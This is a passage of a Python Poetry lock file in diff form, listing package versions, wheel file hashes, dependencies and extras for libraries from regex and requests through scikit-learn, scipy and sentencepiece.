"regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"}, + {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"}, + {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"}, + {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"}, + {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"}, +] + +[[package]] +name = "requests" +version = "2.31.0" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.7" +files = [ + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rich" +version = "13.4.2" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"}, + {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "s3transfer" +version = "0.6.1" +description = "An Amazon S3 Transfer Manager" +optional = false +python-versions = ">= 3.7" +files = [ + {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"}, + {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"}, +] + +[package.dependencies] +botocore = ">=1.12.36,<2.0a.0" + +[package.extras] +crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] + +[[package]] +name = "safetensors" +version = "0.3.1" +description = "Fast and Safe Tensor serialization" +optional = false +python-versions = "*" +files = [ + {file = "safetensors-0.3.1-cp310-cp310-macosx_10_11_x86_64.whl", hash = "sha256:2ae9b7dd268b4bae6624729dac86deb82104820e9786429b0583e5168db2f770"}, + {file = "safetensors-0.3.1-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:08c85c1934682f1e2cd904d38433b53cd2a98245a7cc31f5689f9322a2320bbf"}, + {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba625c7af9e1c5d0d91cb83d2fba97d29ea69d4db2015d9714d24c7f6d488e15"}, + {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b57d5890c619ec10d9f1b6426b8690d0c9c2868a90dc52f13fae6f6407ac141f"}, + {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c9f562ea696d50b95cadbeb1716dc476714a87792ffe374280c0835312cbfe2"}, + {file = "safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c115951b3a865ece8d98ee43882f2fd0a999c0200d6e6fec24134715ebe3b57"}, + {file = "safetensors-0.3.1-cp310-cp310-win32.whl", hash = "sha256:118f8f7503ea312fc7af27e934088a1b589fb1eff5a7dea2cd1de6c71ee33391"}, + {file = "safetensors-0.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:54846eaae25fded28a7bebbb66be563cad221b4c80daee39e2f55df5e5e0266f"}, + {file = "safetensors-0.3.1-cp311-cp311-macosx_10_11_universal2.whl", hash = "sha256:5af82e10946c4822506db0f29269f43147e889054704dde994d4e22f0c37377b"}, + {file = "safetensors-0.3.1-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:626c86dd1d930963c8ea7f953a3787ae85322551e3a5203ac731d6e6f3e18f44"}, + {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e30677e6af1f4cc4f2832546e91dbb3b0aa7d575bfa473d2899d524e1ace08"}, + {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d534b80bc8d39945bb902f34b0454773971fe9e5e1f2142af451759d7e52b356"}, + {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ddd0ddd502cf219666e7d30f23f196cb87e829439b52b39f3e7da7918c3416df"}, + {file = "safetensors-0.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:997a2cc14023713f423e6d16536d55cb16a3d72850f142e05f82f0d4c76d383b"}, + {file = "safetensors-0.3.1-cp311-cp311-win32.whl", hash = "sha256:6ae9ca63d9e22f71ec40550207bd284a60a6b4916ae6ca12c85a8d86bf49e0c3"}, + {file = "safetensors-0.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:62aa7421ca455418423e35029524489480adda53e3f702453580180ecfebe476"}, + {file = "safetensors-0.3.1-cp37-cp37m-macosx_10_11_x86_64.whl", hash = "sha256:6d54b3ed367b6898baab75dfd057c24f36ec64d3938ffff2af981d56bfba2f42"}, + {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:262423aeda91117010f8c607889066028f680fbb667f50cfe6eae96f22f9d150"}, + {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:10efe2513a8327fd628cea13167089588acc23093ba132aecfc536eb9a4560fe"}, + {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:689b3d6a7ebce70ee9438267ee55ea89b575c19923876645e927d08757b552fe"}, + {file = "safetensors-0.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14cd9a87bc73ce06903e9f8ee8b05b056af6f3c9f37a6bd74997a16ed36ff5f4"}, + {file = "safetensors-0.3.1-cp37-cp37m-win32.whl", hash = "sha256:a77cb39624480d5f143c1cc272184f65a296f573d61629eff5d495d2e0541d3e"}, + {file = "safetensors-0.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:9eff3190bfbbb52eef729911345c643f875ca4dbb374aa6c559675cfd0ab73db"}, + {file = "safetensors-0.3.1-cp38-cp38-macosx_10_11_x86_64.whl", hash = "sha256:05cbfef76e4daa14796db1bbb52072d4b72a44050c368b2b1f6fd3e610669a89"}, + {file = "safetensors-0.3.1-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:c49061461f4a81e5ec3415070a3f135530834c89cbd6a7db7cd49e3cb9d9864b"}, + {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22cf7e73ca42974f098ce0cf4dd8918983700b6b07a4c6827d50c8daefca776e"}, + {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:04f909442d6223ff0016cd2e1b2a95ef8039b92a558014627363a2e267213f62"}, + {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2c573c5a0d5d45791ae8c179e26d74aff86e719056591aa7edb3ca7be55bc961"}, + {file = "safetensors-0.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6994043b12e717cf2a6ba69077ac41f0d3675b2819734f07f61819e854c622c7"}, + {file = "safetensors-0.3.1-cp38-cp38-win32.whl", hash = "sha256:158ede81694180a0dbba59422bc304a78c054b305df993c0c6e39c6330fa9348"}, + {file = "safetensors-0.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:afdc725beff7121ea8d39a7339f5a6abcb01daa189ea56290b67fe262d56e20f"}, + {file = "safetensors-0.3.1-cp39-cp39-macosx_10_11_x86_64.whl", hash = "sha256:cba910fcc9e5e64d32d62b837388721165e9c7e45d23bc3a38ad57694b77f40d"}, + {file = "safetensors-0.3.1-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:a4f7dbfe7285573cdaddd85ef6fa84ebbed995d3703ab72d71257944e384612f"}, + {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54aed0802f9eaa83ca7b1cbb986bfb90b8e2c67b6a4bcfe245627e17dad565d4"}, + {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:34b75a766f3cfc99fd4c33e329b76deae63f5f388e455d863a5d6e99472fca8e"}, + {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1a0f31904f35dc14919a145b2d7a2d8842a43a18a629affe678233c4ea90b4af"}, + {file = "safetensors-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcf527ecc5f58907fd9031510378105487f318cc91ecdc5aee3c7cc8f46030a8"}, + {file = "safetensors-0.3.1-cp39-cp39-win32.whl", hash = "sha256:e2f083112cf97aa9611e2a05cc170a2795eccec5f6ff837f4565f950670a9d83"}, + {file = "safetensors-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:5f4f614b8e8161cd8a9ca19c765d176a82b122fa3d3387b77862145bfe9b4e93"}, + {file = "safetensors-0.3.1.tar.gz", hash = "sha256:571da56ff8d0bec8ae54923b621cda98d36dcef10feb36fd492c4d0c2cd0e869"}, +] + +[package.extras] +all = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "flax (>=0.6.3)", "h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "isort (>=5.5.4)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)", "numpy (>=1.21.6)", "paddlepaddle (>=2.4.1)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)", "tensorflow (>=2.11.0)", "torch (>=1.10)"] +dev = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "flax (>=0.6.3)", "h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "isort (>=5.5.4)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)", "numpy (>=1.21.6)", "paddlepaddle (>=2.4.1)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)", "tensorflow (>=2.11.0)", "torch (>=1.10)"] +jax = ["flax (>=0.6.3)", "jax (>=0.3.25)", "jaxlib (>=0.3.25)"] +numpy = ["numpy (>=1.21.6)"] +paddlepaddle = ["paddlepaddle (>=2.4.1)"] +quality = ["black (==22.3)", "click (==8.0.4)", "flake8 (>=3.8.3)", "isort (>=5.5.4)"] +tensorflow = ["tensorflow (>=2.11.0)"] +testing = ["h5py (>=3.7.0)", "huggingface-hub (>=0.12.1)", "numpy (>=1.21.6)", "pytest (>=7.2.0)", "pytest-benchmark (>=4.0.0)", "setuptools-rust (>=1.5.2)"] +torch = ["torch (>=1.10)"] + +[[package]] +name = "scikit-learn" +version = "1.3.0" +description = "A set of python modules for machine learning and data mining" +optional = false +python-versions = ">=3.8" +files = [ + {file = "scikit-learn-1.3.0.tar.gz", hash = "sha256:8be549886f5eda46436b6e555b0e4873b4f10aa21c07df45c4bc1735afbccd7a"}, + {file = "scikit_learn-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:981287869e576d42c682cf7ca96af0c6ac544ed9316328fd0d9292795c742cf5"}, + {file = "scikit_learn-1.3.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:436aaaae2c916ad16631142488e4c82f4296af2404f480e031d866863425d2a2"}, + {file = "scikit_learn-1.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c7e28d8fa47a0b30ae1bd7a079519dd852764e31708a7804da6cb6f8b36e3630"}, + {file = "scikit_learn-1.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae80c08834a473d08a204d966982a62e11c976228d306a2648c575e3ead12111"}, + {file = "scikit_learn-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:552fd1b6ee22900cf1780d7386a554bb96949e9a359999177cf30211e6b20df6"}, + {file = "scikit_learn-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:79970a6d759eb00a62266a31e2637d07d2d28446fca8079cf9afa7c07b0427f8"}, + {file = "scikit_learn-1.3.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:850a00b559e636b23901aabbe79b73dc604b4e4248ba9e2d6e72f95063765603"}, + {file = "scikit_learn-1.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee04835fb016e8062ee9fe9074aef9b82e430504e420bff51e3e5fffe72750ca"}, + {file = "scikit_learn-1.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d953531f5d9f00c90c34fa3b7d7cfb43ecff4c605dac9e4255a20b114a27369"}, + {file = "scikit_learn-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:151ac2bf65ccf363664a689b8beafc9e6aae36263db114b4ca06fbbbf827444a"}, + {file = "scikit_learn-1.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6a885a9edc9c0a341cab27ec4f8a6c58b35f3d449c9d2503a6fd23e06bbd4f6a"}, + {file = "scikit_learn-1.3.0-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:9877af9c6d1b15486e18a94101b742e9d0d2f343d35a634e337411ddb57783f3"}, + {file = "scikit_learn-1.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c470f53cea065ff3d588050955c492793bb50c19a92923490d18fcb637f6383a"}, + {file = "scikit_learn-1.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd6e2d7389542eae01077a1ee0318c4fec20c66c957f45c7aac0c6eb0fe3c612"}, + {file = "scikit_learn-1.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:3a11936adbc379a6061ea32fa03338d4ca7248d86dd507c81e13af428a5bc1db"}, + {file = "scikit_learn-1.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:998d38fcec96584deee1e79cd127469b3ad6fefd1ea6c2dfc54e8db367eb396b"}, + {file = "scikit_learn-1.3.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:ded35e810438a527e17623ac6deae3b360134345b7c598175ab7741720d7ffa7"}, + {file = "scikit_learn-1.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e8102d5036e28d08ab47166b48c8d5e5810704daecf3a476a4282d562be9a28"}, + {file = "scikit_learn-1.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7617164951c422747e7c32be4afa15d75ad8044f42e7d70d3e2e0429a50e6718"}, + {file = "scikit_learn-1.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:1d54fb9e6038284548072df22fd34777e434153f7ffac72c8596f2d6987110dd"}, +] + +[package.dependencies] +joblib = ">=1.1.1" +numpy = ">=1.17.3" +scipy = ">=1.5.0" +threadpoolctl = ">=2.0.0" + +[package.extras] +benchmark = ["matplotlib (>=3.1.3)", "memory-profiler (>=0.57.0)", "pandas (>=1.0.5)"] +docs = ["Pillow (>=7.1.2)", "matplotlib (>=3.1.3)", "memory-profiler (>=0.57.0)", "numpydoc (>=1.2.0)", "pandas (>=1.0.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.16.2)", "seaborn (>=0.9.0)", "sphinx (>=6.0.0)", "sphinx-copybutton (>=0.5.2)", "sphinx-gallery (>=0.10.1)", "sphinx-prompt (>=1.3.0)", "sphinxext-opengraph (>=0.4.2)"] +examples = ["matplotlib (>=3.1.3)", "pandas (>=1.0.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.16.2)", "seaborn (>=0.9.0)"] +tests = ["black (>=23.3.0)", "matplotlib (>=3.1.3)", "mypy (>=1.3)", "numpydoc (>=1.2.0)", "pandas (>=1.0.5)", "pooch (>=1.6.0)", "pyamg (>=4.0.0)", "pytest (>=7.1.2)", "pytest-cov (>=2.9.0)", "ruff (>=0.0.272)", "scikit-image (>=0.16.2)"] + +[[package]] +name = "scipy" +version = "1.9.3" +description = "Fundamental algorithms for scientific computing in Python" +optional = false +python-versions = ">=3.8" +files = [ + {file = "scipy-1.9.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1884b66a54887e21addf9c16fb588720a8309a57b2e258ae1c7986d4444d3bc0"}, + {file = "scipy-1.9.3-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:83b89e9586c62e787f5012e8475fbb12185bafb996a03257e9675cd73d3736dd"}, + {file = "scipy-1.9.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a72d885fa44247f92743fc20732ae55564ff2a519e8302fb7e18717c5355a8b"}, + {file = "scipy-1.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d01e1dd7b15bd2449c8bfc6b7cc67d630700ed655654f0dfcf121600bad205c9"}, + {file = "scipy-1.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:68239b6aa6f9c593da8be1509a05cb7f9efe98b80f43a5861cd24c7557e98523"}, + {file = "scipy-1.9.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b41bc822679ad1c9a5f023bc93f6d0543129ca0f37c1ce294dd9d386f0a21096"}, + {file = "scipy-1.9.3-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:90453d2b93ea82a9f434e4e1cba043e779ff67b92f7a0e85d05d286a3625df3c"}, + {file = "scipy-1.9.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83c06e62a390a9167da60bedd4575a14c1f58ca9dfde59830fc42e5197283dab"}, + {file = "scipy-1.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abaf921531b5aeaafced90157db505e10345e45038c39e5d9b6c7922d68085cb"}, + {file = "scipy-1.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:06d2e1b4c491dc7d8eacea139a1b0b295f74e1a1a0f704c375028f8320d16e31"}, + {file = "scipy-1.9.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a04cd7d0d3eff6ea4719371cbc44df31411862b9646db617c99718ff68d4840"}, + {file = "scipy-1.9.3-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:545c83ffb518094d8c9d83cce216c0c32f8c04aaf28b92cc8283eda0685162d5"}, + {file = "scipy-1.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d54222d7a3ba6022fdf5773931b5d7c56efe41ede7f7128c7b1637700409108"}, + {file = "scipy-1.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cff3a5295234037e39500d35316a4c5794739433528310e117b8a9a0c76d20fc"}, + {file = "scipy-1.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:2318bef588acc7a574f5bfdff9c172d0b1bf2c8143d9582e05f878e580a3781e"}, + {file = "scipy-1.9.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d644a64e174c16cb4b2e41dfea6af722053e83d066da7343f333a54dae9bc31c"}, + {file = "scipy-1.9.3-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:da8245491d73ed0a994ed9c2e380fd058ce2fa8a18da204681f2fe1f57f98f95"}, + {file = "scipy-1.9.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4db5b30849606a95dcf519763dd3ab6fe9bd91df49eba517359e450a7d80ce2e"}, + {file = "scipy-1.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c68db6b290cbd4049012990d7fe71a2abd9ffbe82c0056ebe0f01df8be5436b0"}, + {file = "scipy-1.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:5b88e6d91ad9d59478fafe92a7c757d00c59e3bdc3331be8ada76a4f8d683f58"}, + {file = "scipy-1.9.3.tar.gz", hash = "sha256:fbc5c05c85c1a02be77b1ff591087c83bc44579c6d2bd9fb798bb64ea5e1a027"}, +] + +[package.dependencies] +numpy = ">=1.18.5,<1.26.0" + +[package.extras] +dev = ["flake8", "mypy", "pycodestyle", "typing_extensions"] +doc = ["matplotlib (>2)", "numpydoc", "pydata-sphinx-theme (==0.9.0)", "sphinx (!=4.1.0)", "sphinx-panels (>=0.5.2)", "sphinx-tabs"] +test = ["asv", "gmpy2", "mpmath", "pytest", "pytest-cov", "pytest-xdist", "scikit-umfpack", "threadpoolctl"] + +[[package]] +name = "sentence-transformers" +version = "2.2.2" +description = "Multilingual text embeddings" +optional = false +python-versions = ">=3.6.0" +files = [ + {file = "sentence-transformers-2.2.2.tar.gz", hash = "sha256:dbc60163b27de21076c9a30d24b5b7b6fa05141d68cf2553fa9a77bf79a29136"}, +] + +[package.dependencies] +huggingface-hub = ">=0.4.0" +nltk = "*" +numpy = "*" +scikit-learn = "*" +scipy = "*" +sentencepiece = "*" +torch = ">=1.6.0" +torchvision = "*" +tqdm = "*" +transformers = ">=4.6.0,<5.0.0" + +[[package]] +name = "sentencepiece" +version = "0.1.99" +description = "SentencePiece python wrapper" +optional = false +python-versions = "*" +files = [ + {file = "sentencepiece-0.1.99-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0eb528e70571b7c02723e5804322469b82fe7ea418c96051d0286c0fa028db73"}, + {file = "sentencepiece-0.1.99-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d7fafb2c4e4659cbdf303929503f37a26eabc4ff31d3a79bf1c5a1b338caa7"}, + {file = "sentencepiece-0.1.99-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be9cf5b9e404c245aeb3d3723c737ba7a8f5d4ba262ef233a431fa6c45f732a0"}, + {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baed1a26464998f9710d20e52607c29ffd4293e7c71c6a1f83f51ad0911ec12c"}, + {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9832f08bb372d4c8b567612f8eab9e36e268dff645f1c28f9f8e851be705f6d1"}, + {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:019e7535108e309dae2b253a75834fc3128240aa87c00eb80732078cdc182588"}, + {file = "sentencepiece-0.1.99-cp310-cp310-win32.whl", hash = "sha256:fa16a830416bb823fa2a52cbdd474d1f7f3bba527fd2304fb4b140dad31bb9bc"}, + {file = "sentencepiece-0.1.99-cp310-cp310-win_amd64.whl", hash = "sha256:14b0eccb7b641d4591c3e12ae44cab537d68352e4d3b6424944f0c447d2348d5"}, + {file = "sentencepiece-0.1.99-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6d3c56f24183a1e8bd61043ff2c58dfecdc68a5dd8955dc13bab83afd5f76b81"}, + {file = "sentencepiece-0.1.99-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ed6ea1819fd612c989999e44a51bf556d0ef6abfb553080b9be3d347e18bcfb7"}, + {file = "sentencepiece-0.1.99-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2a0260cd1fb7bd8b4d4f39dc2444a8d5fd4e0a0c4d5c899810ef1abf99b2d45"}, + {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a1abff4d1ff81c77cac3cc6fefa34fa4b8b371e5ee51cb7e8d1ebc996d05983"}, + {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:004e6a621d4bc88978eecb6ea7959264239a17b70f2cbc348033d8195c9808ec"}, + {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db361e03342c41680afae5807590bc88aa0e17cfd1a42696a160e4005fcda03b"}, + {file = "sentencepiece-0.1.99-cp311-cp311-win32.whl", hash = "sha256:2d95e19168875b70df62916eb55428a0cbcb834ac51d5a7e664eda74def9e1e0"}, + {file = "sentencepiece-0.1.99-cp311-cp311-win_amd64.whl", hash = "sha256:f90d73a6f81248a909f55d8e6ef56fec32d559e1e9af045f0b0322637cb8e5c7"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:62e24c81e74bd87a6e0d63c51beb6527e4c0add67e1a17bac18bcd2076afcfeb"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57efcc2d51caff20d9573567d9fd3f854d9efe613ed58a439c78c9f93101384a"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6a904c46197993bd1e95b93a6e373dca2f170379d64441041e2e628ad4afb16f"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d89adf59854741c0d465f0e1525b388c0d174f611cc04af54153c5c4f36088c4"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-win32.whl", hash = "sha256:47c378146928690d1bc106fdf0da768cebd03b65dd8405aa3dd88f9c81e35dba"}, + {file = "sentencepiece-0.1.99-cp36-cp36m-win_amd64.whl", hash = "sha256:9ba142e7a90dd6d823c44f9870abdad45e6c63958eb60fe44cca6828d3b69da2"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b7b1a9ae4d7c6f1f867e63370cca25cc17b6f4886729595b885ee07a58d3cec3"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0f644c9d4d35c096a538507b2163e6191512460035bf51358794a78515b74f7"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c8843d23a0f686d85e569bd6dcd0dd0e0cbc03731e63497ca6d5bacd18df8b85"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33e6f690a1caebb4867a2e367afa1918ad35be257ecdb3455d2bbd787936f155"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-win32.whl", hash = "sha256:8a321866c2f85da7beac74a824b4ad6ddc2a4c9bccd9382529506d48f744a12c"}, + {file = "sentencepiece-0.1.99-cp37-cp37m-win_amd64.whl", hash = "sha256:c42f753bcfb7661c122a15b20be7f684b61fc8592c89c870adf52382ea72262d"}, + {file = "sentencepiece-0.1.99-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:85b476406da69c70586f0bb682fcca4c9b40e5059814f2db92303ea4585c650c"}, + {file = "sentencepiece-0.1.99-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cfbcfe13c69d3f87b7fcd5da168df7290a6d006329be71f90ba4f56bc77f8561"}, + {file = "sentencepiece-0.1.99-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:445b0ec381af1cd4eef95243e7180c63d9c384443c16c4c47a28196bd1cda937"}, + {file = "sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6890ea0f2b4703f62d0bf27932e35808b1f679bdb05c7eeb3812b935ba02001"}, + {file = 